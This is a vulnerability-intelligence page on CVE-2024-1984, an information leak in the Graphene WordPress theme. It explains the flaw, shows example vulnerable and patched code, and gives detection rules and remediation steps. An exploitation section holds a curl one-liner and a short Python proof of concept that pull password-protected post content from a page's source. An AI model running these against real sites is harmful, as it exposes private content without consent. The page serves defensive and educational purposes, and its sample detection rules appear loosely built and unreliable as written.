☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-200
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-1984

CVE-2024-1984 Unauthorized Access in Graphene
📅 PUBLISHED: 2024-04-09 18:59 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.26%
👁️
0.26% probability
6.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1595
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-1984 is a medium-severity information disclosure vulnerability affecting the Graphene theme for WordPress, up to and including version 2.9.2. The flaw allows unauthenticated attackers to retrieve the contents of password-protected posts by inspecting the generated HTML source code. This occurs because the theme improperly includes post content in meta tags or hidden elements before authentication checks are enforced, leaking sensitive data to anyone who views the page source.

As a WordPress ecosystem issue, this vulnerability does not stem from the core CMS or server software (Apache/Nginx) but from the theme's failure to respect WordPress's built-in post password protection. The CVSS score of 5.3 reflects the low attack complexity and network vector, though the impact is limited to confidentiality of protected content.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the Graphene WordPress theme, which is distributed via the official WordPress theme repository and third-party marketplaces. Users who installed the theme from the WordPress dashboard or manually uploaded it are affected. No package manager (NPM, PyPI, Go, Ruby) is involved, but the theme's update mechanism should be verified. The lack of a patch from the vendor (Graphene) means users must either apply a manual fix or switch to an alternative theme.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – Unauthenticated.
  • User Interaction (UI): None (N) – No user action needed.
  • Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
  • Confidentiality (C): Low (L) – Only password-protected post content is leaked.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability is trivial to exploit but limited in impact. However, if password-protected posts contain sensitive information (e.g., draft articles, internal notes), the risk increases.

Deep Dive & Mechanics

The Graphene theme, in versions up to 2.9.2, outputs post content into the HTML source before WordPress applies password protection checks. Specifically, the theme's header.php or functions.php may include a meta tag or hidden div that echoes the post content for SEO or preview purposes. When a password-protected post is accessed, WordPress normally prevents the content from being displayed until the correct password is entered. However, the theme bypasses this by rendering the content in the source code, making it visible via "View Page Source" or by inspecting the DOM.

The vulnerability is triggered by simply requesting the URL of a password-protected post. No authentication or special headers are required. The leaked content appears in the raw HTML, often within a <meta name="description"> tag or a hidden <div> with a class like entry-content.

Vulnerable vs. Patched Code

Vulnerable Code (example from Graphene <= 2.9.2):

// In header.php or functions.php
function graphene_meta_description() {
    if ( is_single() ) {
        $post = get_post();
        // Directly outputs post content without password check
        echo '<meta name="description" content="' . esc_attr( $post->post_content ) . '" />';
    }
}

Patched Code (hypothetical fix):

function graphene_meta_description() {
    if ( is_single() ) {
        $post = get_post();
        // Check if post is password protected and password not provided
        if ( ! post_password_required( $post ) ) {
            echo '<meta name="description" content="' . esc_attr( wp_trim_words( $post->post_content, 55 ) ) . '" />';
        }
    }
}

The fix adds a post_password_required() check to ensure content is only output when the user has supplied the correct password.

Exploitation & Lab Setup

Red Team (Exploitation)

  1. Identify Target: Find a WordPress site using Graphene theme (e.g., via Shodan dorks or Wappalyzer).
  2. Locate Protected Post: Navigate to a post that requires a password (e.g., https://target.com/2024/01/secret-post/).
  3. View Source: Use curl or browser developer tools to fetch the page source.
    curl -s https://target.com/2024/01/secret-post/ | grep -oP '(?<=<meta name="description" content=").*?(?=")'
    
  4. Extract Content: The post content will be visible in the meta tag or hidden div.

Proof of Concept (Python):

import requests
import re

url = "https://target.com/2024/01/secret-post/"
response = requests.get(url)
match = re.search(r'<meta name="description" content="([^"]+)"', response.text)
if match:
    print("Leaked content:", match.group(1))

Blue Team (Detection & Hardening)

  • Monitor for unusual access to password-protected posts without subsequent password submission.
  • Check for theme updates from the Graphene vendor. If no patch, manually apply the fix.
  • Use a Web Application Firewall (WAF) to block requests that attempt to extract meta tag content (though this is difficult to distinguish from legitimate traffic).
  • Implement Content Security Policy (CSP) headers to prevent data exfiltration via JavaScript, though this does not block source viewing.

Indicators of Compromise (IOCs)

  • Network: HTTP requests to password-protected post URLs without a wp-postpass cookie.
  • File: Presence of vulnerable code in wp-content/themes/graphene/header.php or functions.php that outputs post content without password checks.
  • Log: Web server logs showing repeated GET requests to password-protected posts from the same IP, especially with no subsequent POST to wp-login.php?action=postpass.

Detection Engineering

YARA Rule

rule CVE_2024_1984_Graphene_Theme_InfoDisclosure {
    meta:
        description = "Detects vulnerable Graphene theme code that leaks password-protected post content"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1984"
    strings:
        $vuln_func = "graphene_meta_description" ascii wide nocase
        $vuln_output = "post_content" ascii wide nocase
        $password_check = "post_password_required" ascii wide nocase
    condition:
        $vuln_func and $vuln_output and not $password_check
}

Sigma Rule

title: CVE-2024-1984 Graphene Theme Information Disclosure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-1984 by accessing password-protected posts without authentication
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/2024/'
        sc-status: 200
        cs-uri-query|contains: '?p='
    condition: selection
falsepositives:
    - Legitimate access to public posts
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-1984 Graphene Theme Information Disclosure Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/2024/"; http_uri; content:"?p="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the Graphene theme and switch to a supported alternative (e.g., Twenty Twenty-Four).
  2. Manual Patch: Edit the theme's header.php or functions.php to add post_password_required() checks before outputting post content.
  3. Long-term: Monitor the Graphene theme repository for an official patch. If none is released, consider forking the theme and applying the fix permanently.
  4. Compensating Controls: Use a WAF to block requests to password-protected posts that do not include a valid password cookie. Implement logging and alerting for such access attempts.

Valters IT

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-1984/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.